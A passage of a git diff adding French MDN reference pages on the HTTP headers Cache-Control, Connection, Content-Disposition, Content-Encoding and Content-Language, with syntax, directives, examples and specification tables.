<code>Cache-Control</code></h3> + +<p>Les directives Extension <code>Cache-Control</code> ne font pas partie du document sur les normes de base de la mise en cache HTTP. Vérifiez leur prise en charge dans la <a href="#Browser_compatibility">table de compatibilité</a> ; les agents-utilisateurs qui ne les reconnaissent pas doivent les ignorer.</p> + +<pre class="syntaxbox">Cache-Control: immutable +Cache-Control: stale-while-revalidate=<seconds> +Cache-Control: stale-if-error=<seconds> +</pre> + +<h2 id="Directives">Directives</h2> + +<h3 id="Possibilité_de_mise_en_cache">Possibilité de mise en cache</h3> + +<p>Une réponse est normalement mise en cache par le navigateur si</p> + +<ul> + <li>il a un code de statut de <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/308">308</a></code>, or <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/410">410</a></code> <strong>et</strong></li> + <li><code>Cache-Control</code> n'a pas de <code>no-store</code>, ou <em>s'il s'agit d'un mandataire</em>, il n'a pas d'adresse <code>privée</code> <strong>et</strong></li> + <li><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization">Authorization</a></code> n'est pas fixée</li> + <li>soit + <ul> + <li>a un code de statut de <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/308">308</a></code>, ou <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/410">410</a></code> <strong>ou</strong></li> + <li>a un <code>public</code>, <code>max-age</code> ou <code>s-maxage</code> dans <code>Cache-Control</code> <strong>ou</strong></li> + <li>a <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Expires">Expires</a></code> fixé</li> + </ul> + </li> +</ul> + +<dl> + <dt><code>public</code></dt> + <dd>Indique que la réponse peut être mise en cache par n'importe quel cache.</dd> + <dt><code>private</code></dt> + <dd>Indique que la réponse ne doit être mise en cache que pour un utilisateur donné et ne doit donc pas être mise en cache par un cache partagé.</dd> + <dt><code>no-cache</code></dt> + <dd>Indique de renvoyer systématiquement la requête au serveur et ne servir une éventuelle version en cache que dans le cas où le serveur le demande.</dd> + <dt><code>no-store</code></dt> + <dd>La réponse <strong>ne</strong> peut être stockée dans<em> aucune</em> mémoire cache. Bien que d'autres directives puissent être définies, C'est la seule directive dont vous avez besoin pour empêcher le réponses en cache sur les navigateurs modernes. <code>max-age=0</code> <strong>est déjà implicite</strong>. <strong>La définition de la directive</strong> <code>must-revalidate</code> <strong>n'a pas de sens</strong> car pour passer la revalidation, vous devez stocker la réponse dans un cache, ce que n'empêche <code>no-store</code>.</dd> + <dd><strong>Ne pas copier-coller les spécifications Internet-Explorer</strong> <code>pre-check=0,post-check=0</code> Si vous le voyez en ligne car il est entièrement ignoré, ce que confirme le <a href="https://twitter.com/ericlaw/status/685201170260819968">tweet du développeur Edge</a>.</dd> + <dt>Désactive le cache par Cache-Control</dt> + <dd> + <pre class="example-good">no-store</pre> + </dd> + <dd> + <pre class="example-bad">no-cache,no-store,must-revalidate,pre-check=0,post-check=0</pre> + </dd> +</dl> + +<h3 id="Expiration">Expiration</h3> + +<dl> + <dt><code>max-age=<secondes></code></dt> + <dd>Indique la durée pendant laquelle la ressource doit être considérée comme valide (non expirée). Contrairement à <code>expires</code>, la durée indiquée dans cette directive commence à la date de la requête.</dd> + <dt><code>s-maxage=<secondes></code></dt> + <dd>Indique une valeur pour écraser les valeurs définies par <code>max-age</code> ou <code>Expires</code> pour les caches partagés (comme les proxies). Il est donc ignoré par les caches privés (dont les navigateurs).</dd> + <dt><code>max-stale[=<secondes>]</code></dt> + <dd>Indique que le client accepte une réponse expirée. Une valeur optionnelle permet d'indiquer la durée maximale depuis laquelle la réponse peut être expirée mais acceptée quand même.</dd> + <dt><code>min-fresh=<secondes></code></dt> + <dd>Indique que le client demande une réponse qui soit valide pour au moins la durée demandée (dont la date d'expiration est supérieure à la date actuelle plus la durée spécifiée).</dd> + <dt><code>stale-while-revalidate=<secondes></code> {{experimental_inline}}</dt> + <dd>Indique au cache de renvoyer les données en cache même si elles sont expirée depuis une durée inférieure à la durée spécifiée dans l'en-tête. Dans ce cas, le cache doit renvoyer la requête au serveur pour rafraîchir les données.</dd> + <dt><code>stale-if-error=<secondes></code> {{experimental_inline}}</dt> + <dd>Indique au cache de renvoyer les données en cache s'il y a une erreur pendant la récupération des données auprès du serveur et que la version en cache est expirée depuis une durée inférieure à celle spécifiée dans l'en-tête.</dd> +</dl> + +<h3 id="Revalidation_et_rechargement">Revalidation et rechargement</h3> + +<dl> + <dt><code>must-revalidate</code></dt> + <dd>Le cache doit refaire une requête dans le cas où les données sont expirées afin de les mettre à jour s'il y a lieu (il reste parfaitement possible que le serveur réponde avec les mêmes données).</dd> + <dt><code>proxy-revalidate</code></dt> + <dd>Comme pour <code>must-revalidate</code>, mais force la valeur pour les caches partagés. Cette valeur est ignorée par les caches locaux.</dd> + <dt><code>immutable</code></dt> + <dd>Indique que les données renvoyées peuvent être servies même si elles sont expirées sans aucune validation et même si le client fait une demande explicite de rafraîchissement. Cette option est a priori uniquement adaptée si les contenus ne sont jamais modifiés mais toujours stockés à une URI différente (par exemple en utilisant un hash du contenu). Les clients qui ne gèrent pas cette directive l'ignorent. Dans le cas de Firefox, cette option est aussi ignorée pour les contenus qui ne sont pas servis en HTTPS. Pour plus d'informations, on pourra se référer à <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">un blog en anglais</a>.</dd> +</dl> + +<h3 id="Autres">Autres</h3> + +<dl> + <dt><code>no-transform</code></dt> + <dd>Aucune conversion ou transformation ne devraient être réalisée sur la ressource. Ainsi, les en-tête <code>Content-Encoding</code>, <code>Content-Range</code> et <code>Content-Type</code> ne devraient jamais être modifiés par un proxy (serveur mandataire). Un proxy non-transparent pourrait, en l'absence de cet en-tête, convertir ou compresser (avec pertes) des images pour réduire la place occupée en cache ou diminuer le volume de données à transférer sur un lien lent.</dd> + <dt><code>only-if-cached</code></dt> + <dd>Réglé par le <em>client </em>pour indiquer "ne pas utiliser le réseau" pour la réponse. Le cache doit soit répondre en utilisant une réponse stockée, soit répondre avec un code d'état <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/504">504</a></code>. Les en-têtes conditionnels tels que <code>If-None-Match</code> ne doivent pas être définis. Il n'y a aucun effet si <code>only-if-cached</code> est défini par un serveur dans le cadre d'une réponse.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Prévention_de_la_mise_en_cache">Prévention de la mise en cache</h3> + +<p>Pour désactiver la mise en cache, vous pouvez envoyer l'en-tête de réponse suivant. En outre, voir aussi les en-têtes <code>Expires</code> et <code>Pragma</code>.</p> + +<dl> + <dd> + <pre class="example-good brush: http no-line-numbers">Cache-Control: no-store +</pre> + </dd> + <dd> + <pre class="example-bad brush: http no-line-numbers">Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate,pre-check=0,post-check=0 +</pre> + </dd> +</dl> + +<h3 id="Mise_en_cache_dactifs_statiques">Mise en cache d'actifs statiques</h3> + +<p>Pour les fichiers de l'application qui ne seront pas modifiés, vous pouvez généralement ajouter une mise en cache agressive en envoyant l'en-tête de réponse ci-dessous. Cela inclut les fichiers statiques qui sont servis par l'application comme les images, les fichiers CSS et les fichiers JavaScript, par exemple. En outre, voir l'en-tête <code>Expires</code>.</p> + +<dl> + <dd> + <pre class="brush: http no-line-numbers">Cache-Control: public, max-age=604800, immutable +</pre> + </dd> +</dl> + +<h3 id="Nécessitant_une_revalidation">Nécessitant une revalidation</h3> + +<p>Le fait de spécifier <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">no-cache</span></font> ou <code>max-age=0</code> indique que les clients peuvent mettre une ressource en cache et doivent la revalider à chaque fois avant de l'utiliser. Cela signifie que la requête HTTP se produit à chaque fois, mais qu'elle peut sauter le téléchargement du corps HTTP si le contenu est valide.</p> + +<dl> + <dd> + <pre class="brush: http no-line-numbers">Cache-Control: no-cache +Cache-Control: no-cache, max-age=0 +Cache-Control: no-cache, max-age=0, stale-while-revalidate=300 +</pre> + </dd> +</dl> + + + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(8246, "HTTP Immutable Responses")}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td></td> + </tr> + <tr> + <td>{{RFC(7234, "Hypertext Transfer Protocol (HTTP/1.1): Caching")}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td></td> + </tr> + <tr> + <td>{{RFC(5861, "HTTP Cache-Control Extensions for Stale Content")}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2> + +<p class="hidden">La matrice de compatibilité de cette page est générée depuis le dépôt Git https://github.com/mdn/browser-compat-data. Si vous voulez contribuer en modifiant ces données, merci de faire une <em>pull request</em> sur Github.</p> + +<p>{{Compat("http.headers.Cache-Control")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li> + <li><a href="https://www.mnot.net/cache_docs/">Caching Tutorial for Web Authors and Webmasters</a></li> + <li>Guide: <em><a href="https://csswizardry.com/2019/03/cache-control-for-civilians"><code>Cache-Control</code> for civilians</a></em></li> + <li>{{HTTPHeader("Age")}}</li> + <li>{{HTTPHeader("Expires")}}</li> + <li>{{HTTPHeader("Pragma")}}</li> +</ul> diff --git a/files/fr/web/http/headers/connection/index.html b/files/fr/web/http/headers/connection/index.html new file mode 100644 index 0000000000..8233e363ab --- /dev/null +++ b/files/fr/web/http/headers/connection/index.html @@ -0,0 +1,51 @@ +--- +title: Connection +slug: Web/HTTP/Headers/Connection +tags: + - HTTP + - Reference + - Web + - en-tête +translation_of: Web/HTTP/Headers/Connection +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête général <strong><code>Connection</code></strong> contrôle la façon dont la connexion reste ouverte ou non après que la transaction courante soit terminée. Si la valeur envoyée est <code>keep-alive</code>, la connexion est persistente et n'est pas fermée, permettant aux requêtes qui suivent et s'adressent au même serveur d'être envoyées.</p> + +<div class="note"><strong>Note : </strong><a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">Les champs d'en-tête spécifiques à la connexion (tels que <code>Connection</code>) ne doivent pas être utilisés avec HTTP/2.</a></div> + +<p>Except for the standard hop-by-hop headers ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} and {{HTTPHeader("Proxy-Authenticate")}}), any hop-by-hop headers used by the message must be listed in the <code>Connection</code> header, so that the first proxy knows it has to consume them and not forward them further. Standard hop-by-hop headers can be listed too (it is often the case of {{HTTPHeader("Keep-Alive")}}, but this is not mandatory).</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td><a href="/fr/docs/Glossaire/General_header">En-tête général</a></td> + </tr> + <tr> + <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> + <td>Oui</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Connection: keep-alive +Connection: close +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>close</code></dt> + <dd>Indique que le client ou que le serveur souhaite fermer la connexion. C'est la valeur par défaut pour les requêtes en HTTP/1.0.</dd> + <dt>Une liste d'en-têtes HTTP séparés par des virgules (généralement, la valeur <code>keep-alive</code> seule)</dt> + <dd>Indique que le client souhaite que la connexion reste ouverte. Une connexion persistente est le comportement par défaut pour les requêtes HTTP/1.1. La liste des en-têtes sont le nom des en-têtes à retirer par le premier proxy ou cache non-transparent entre le client et le serveur : ces en-tête définissent la connexion entre l'émetteur et la première entité (pas jusqu'au nœud de destination).</dd> +</dl> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div> + +<p>{{Compat("http.headers.Connection")}}</p> diff --git a/files/fr/web/http/headers/content-disposition/index.html b/files/fr/web/http/headers/content-disposition/index.html new file mode 100644 index 0000000000..177a3f536b --- /dev/null +++ b/files/fr/web/http/headers/content-disposition/index.html @@ -0,0 +1,149 @@ +--- +title: Content-Disposition +slug: Web/HTTP/Headers/Content-Disposition +tags: + - HTTP + - Reference + - header +translation_of: Web/HTTP/Headers/Content-Disposition +--- +<div>{{HTTPSidebar}}</div> + +<p>Dans une réponse HTTP régulière, l'en-tête de réponse <code>Content-Disposition</code> est un en-tête indiquant si le contenu devrait être affiché en ligne dans le navigateur, c'est-à-dire en tant que page Web, dans une page Web ou en pièce jointe qui sera téléchargé et enregistré localement.</p> + +<p>Dans un corps <code>multipart / form-data</code>, l'en-tête général HTTP Content-Disposition est un en-tête qui peut être utilisé sur la sous-partie d'un corps multipart pour donner des informations sur le champ auquel il s'applique. La sous-partie est délimitée par la limite <code>boundary</code> définie dans l'en-tête {{HTTPHeader ("Content-Type")}}. Utilisé sur le corps même, <code>Content-Disposition </code>n'a aucun effet.</p> + +<p dir="ltr" id="tw-target-text">L'en-tête <code>Content-Disposition</code> est défini dans le contexte plus large des messages MIME pour le courrier électronique, mais seul un sous-ensemble des paramètres possibles s'applique aux formulaires HTTP et {{HTTPMethod ("POST")}}. Seules les données de forme de valeur, ainsi que le nom de la directive optionnelle et le nom de fichier, peuvent être utilisés dans le contexte HTTP.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"> + <table> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}} (pour le corps principal)<br> + {{Glossary("General header")}} (pour une sous-partie d'un corps à plusieurs parties)</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <th scope="row">Non</th> + </tr> + </tbody> + </table> + </th> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<h3 id="En_tant_quentête_de_réponse_pour_le_corps_principal">En tant qu'entête de réponse pour le corps principal </h3> + +<p dir="ltr" id="tw-target-text">Le premier paramètre dans le contexte HTTP est en ligne (valeur par défaut, indiquant qu'il peut être affiché à l'intérieur de la page Web ou en tant que page Web) ou pièce jointe (en indiquant qu'il devrait être téléchargé), la plupart des navigateurs présentant une boîte de dialogue "Enregistrer sous" Avec la valeur des paramètres du nom de<br> + fichier si présent.</p> + +<pre class="syntaxbox notranslate">Content-Disposition: inline +Content-Disposition: attachment +Content-Disposition: attachment; filename="filename.jpg"</pre> + +<h3 id="En_tant_quen-tête_pour_un_corps_à_plusieurs_parties">En tant qu'en-tête pour un corps à plusieurs parties </h3> + +<p dir="ltr" id="tw-target-text">Le premier paramètre dans le contexte HTTP est toujours une donnée de forme. Les paramètres supplémentaires sont insensibles à la casse et ont des arguments, qui utilisent la syntaxe de chaîne cité après le signe '='. Les paramètres multiples sont<br> + séparés par un point-virgule (';').</p> + +<pre class="notranslate">Content-Disposition: form-data Content-Disposition: form-data; +name="fieldName" Content-Disposition: form-data; +name="fieldName"; filename="filename.jpg"</pre> + +<h2 dir="ltr" id="Directives">Directives</h2> + +<p dir="ltr"><code><name></code><br> + Est suivie d'une chaîne contenant le nom du champ HTML dans la forme dont le contenu de cette sous-partie se réfère. Lorsqu'il s'agit de plusieurs fichiers dans le même champ (par exemple, l'attribut {{htmlattrxref("multiple", "input")}} d'un {{HTMLElement("input","<input type=file>")}} element), il peut y avoir plusieurs sous-parties portant le même nom.</p> + +<p dir="ltr">Un <code>name</code> avec une valeur de <code>'_charset_'</code> indique que la partie n'est pas un champ HTML, mais le jeu de caractères par défaut à utiliser pour les pièces sans informations de charset explicites.</p> + +<p dir="ltr"><code><filename></code><br> + Est suivi d'une chaîne contenant le nom d'origine du fichier transmis. Le nom de fichier est toujours facultatif et ne doit pas être utilisé aveuglément par l'application: l'information du chemin doit être rayée et la conversion aux règles du système de fichiers du serveur doit être effectuée. Ce paramètre fournit principalement des informations indicatives. Lorsqu'il est utilisé en combinaison avec <code>Content-Disposition: attachement</code>, il est utilisé comme nom de fichier par défaut pour une éventuelle boîte de dialogue "Enregistrer sous" présentée à l'utilisateur.</p> + +<p dir="ltr"><code><filename*></code><br> + Les paramètres <code>filename</code> et <code>filename*</code> diffèrent uniquement en ce que <code>filename*</code> utilise l'encodage défini dans la RFC 5987. Lorsque <code>filename</code> et <code>filename*</code> sont présents dans une seule valeur de champ d'en-tête, <code>filename*</code> est préféré à <code>filename</code> lorsque les deux sont présents et compris.</p> + +<h2 id="Exemples">Exemples</h2> + +<p>Une réponse déclanchant le dialogue "Enregistrer sous":</p> + +<pre class="brush: html notranslate">200 OK +Content-Type: text/html; charset=utf-8 +Content-Disposition: attachment; filename="cool.html" +Content-Length: 22 + +<HTML>Enregistrez-moi !</HTML> +</pre> + +<p>Ce fichier HTML simple sera sauvegardé en tant que téléchargement régulier plutôt que dans le navigateur. La plupart des navigateurs proposeront de l'enregistrer sous le nom de fichier <code>cool.html</code> (par défaut).</p> + +<p>Un exemple de formulaire HTML, publié à l'aide du format <code>multipart / form-data</code> qui utilise l'en-tête <code>Content-Disposition</code>:</p> + +<pre class="notranslate">POST /test.html HTTP/1.1 +Host: example.org +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2 +--boundary--</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7578")}}</td> + <td><br> + Retour des valeurs à partir des formulaires: multipart / form-data</td> + </tr> + <tr> + <td>{{RFC("6266")}}</td> + <td><br> + Utilisation du champ Header Content-Disposition dans le protocole de transfert hypertexte (HTTP)</td> + </tr> + <tr> + <td>{{RFC("2183")}}</td> + <td><br> + Communiquer des informations de présentation dans les messages Internet: le champ de l'en-tête de disposition de contenu</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden"> +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("http/headers/content-disposition")}}</p> + +<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2> + +<ul> + <li>Firefox 5 gère l'en-tête de réponse HTTP <code>Content-Disposition</code> plus efficacement si les deux paramètres du nom de fichier et du nom de fichier sont fournis. Il examine tous les noms fournis, en utilisant le paramètre * du nom de fichier, s'il est disponible, même si un paramètre de nom de fichier est inclus en premier. Auparavant, le premier paramètre correspondant serait utilisé, empêchant ainsi un nom plus approprié d'être utilisé. Voir {{bug (588781)}}.</li> +</ul> + +<h2 id="Voir_également">Voir également</h2> + +<ul> + <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a></li> + <li>{{HTTPHeader("Content-Type")}} définissant la limite du corps multipartie.</li> + <li>L'interface {{domxref("FormData")}} utilisée pour manipuler les données de formulaire à utiliser dans l'API {{domxref("XMLHttpRequest")}}.</li> +</ul> diff --git a/files/fr/web/http/headers/content-encoding/index.html b/files/fr/web/http/headers/content-encoding/index.html new file mode 100644 index 0000000000..ec258366e9 --- /dev/null +++ b/files/fr/web/http/headers/content-encoding/index.html @@ -0,0 +1,107 @@ +--- +title: Content-Encoding +slug: Web/HTTP/Headers/Content-Encoding +tags: + - En-têtes + - HTTP + - Reference +translation_of: Web/HTTP/Headers/Content-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête <strong><code>Content-Encoding</code></strong> indique la compression utilisée sur le média contenu dans le corps de la requête. Il permet au client de savoir comment décoder le contenu afin d'obtenir le type de média référencé par l'entête <code>Content-Type</code>.</p> + +<p>Il est recommandé de compresser les données autant que possible et donc d'utiliser cet en-tête. Toutefois, certains types de fichiers, comme les images jpeg, sont déjà compressés. Parfois, l'utilisation d'une compression supplémentaire ne réduit pas la taille de la chage utile et peut même la rendre plus longue.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td><a href="/fr/docs/Glossaire/En-tête_entité">En-tête d'entité</a></td> + </tr> + <tr> + <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Encoding: gzip +Content-Encoding: compress +Content-Encoding: deflate +Content-Encoding: identity +Content-Encoding: br + +// Plusieurs valeurs selon l'ordre dans lequel ils ont été appliqués +Content-Encoding: gzip, identity +Content-Encoding: deflate, gzip +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>gzip</code></dt> + <dd>Un format utilisant le <a href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">codage Lempel-Ziv</a> (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX <em>gzip</em>. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent <code>x-gzip</code> comme alias, à des fins de compatibilité.</dd> + <dt><code>compress</code></dt> + <dd>Un format utilisant l'algorithme <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003).</dd> + <dt><code>deflate</code></dt> + <dd>Utilisant la structure <a href="http://en.wikipedia.org/wiki/Zlib">zlib</a> (définie dans la <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>) avec l'algorithme de compression <em><a class="external" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>(défini dans la <a class="external" href="http://tools.ietf.org/html/rfc1951">RFC 1951</a>).</dd> + <dt><code>identity</code></dt> + <dd>Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable.</dd> + <dt><code>br</code></dt> + <dd>Un format utilisant l'algorithme de <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a>.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Compression_avec_gzip">Compression avec gzip</h3> + +<p>Côté client, on peut fournir la liste des mécanismes de compression pris en charge en envoyant l'en-tête {{HTTPHeader("Accept-Encoding")}} lors de la négociation de l'encodage.</p> + +<pre class="notranslate">Accept-Encoding: gzip, deflate</pre> + +<p>Le serveur répondra avec le schéma utilisé avec l'en-tête de réponse <code>Content-Encoding</code>.</p> + +<pre class="notranslate">Content-Encoding: gzip</pre> + +<p>À noter que le serveur n'est pas obligé d'utiliser de méthode de compression. La compression dépend fortement des paramètres du serveur et des modules de serveur utilisés.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7932", "Brotli Compressed Data Format")}}</td> + <td>Brotli Compressed Data Format</td> + </tr> + <tr> + <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + <tr> + <td>{{RFC("2616", "Content-Encoding", "14.11")}}</td> + <td>Content-Encoding</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div> + +<p>{{Compat("http.headers.Content-Encoding")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-language/index.html b/files/fr/web/http/headers/content-language/index.html new file mode 100644 index 0000000000..5332e732da --- /dev/null +++ b/files/fr/web/http/headers/content-language/index.html @@ -0,0 +1,109 @@ +--- +title: Content-Language +slug: Web/HTTP/Headers/Content-Language +tags: + - En-tête HTTP + - En-tête de requête + - HTTP + - Négociation de contenu + - Reference +translation_of: Web/HTTP/Headers/Content-Language +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête <strong><code>Content-Language</code></strong> est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs.</p> + +<p>Par exemple, si "<code>Content-Language: de-DE</code>" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands).</p> + +<p>Si l'en-tête <code>Content-Language</code> n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête <code>Content-Language</code> pour dfférents types de médias, et pas seulement pour les documents texte.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>Oui</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>Oui, avec comme restriction supplémentaire que les valeurs ne peuvent contenir que les caractères <code>0-9</code>, <code>A-Z</code>, <code>a-z</code>, l'espace ou <code>*,-.;=</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Content-Language: de-DE +Content-Language: en-US +Content-Language: de-DE, en-CA +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>language-tag</code></dt> + <dd>Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("<code>-</code>", <code>%x2D</code>). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada).</dd> +</dl> + +<div class="note"> +<p><strong>Note:</strong> Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser.</p> +</div> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Indiquer_la_langue_dans_laquelle_un_document_est_écrit">Indiquer la langue dans laquelle un document est écrit</h3> + +<p>L'attribut global <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci.</p> + +<pre class="brush: html notranslate"><html lang="de"></pre> + +<p><strong>N'utilisez pas</strong> le meta tag comme ceci pour déclarer la langue d'un document:</p> + +<pre class="brush: html example-bad notranslate"><!-- /!\ C'est une mauvaise pratique --> +<meta http-equiv="content-language" content="de"></pre> + +<h3 id="Indiquer_un_public_cible_pour_une_ressource">Indiquer un public cible pour une ressource</h3> + +<p>L'en-tête <code>Content-Language</code> est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue.</p> + +<pre class="notranslate">Content-Language: de, en</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Sémantiques et Contenu</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Language")}}</p> + +<h2 id="Voir_également">Voir 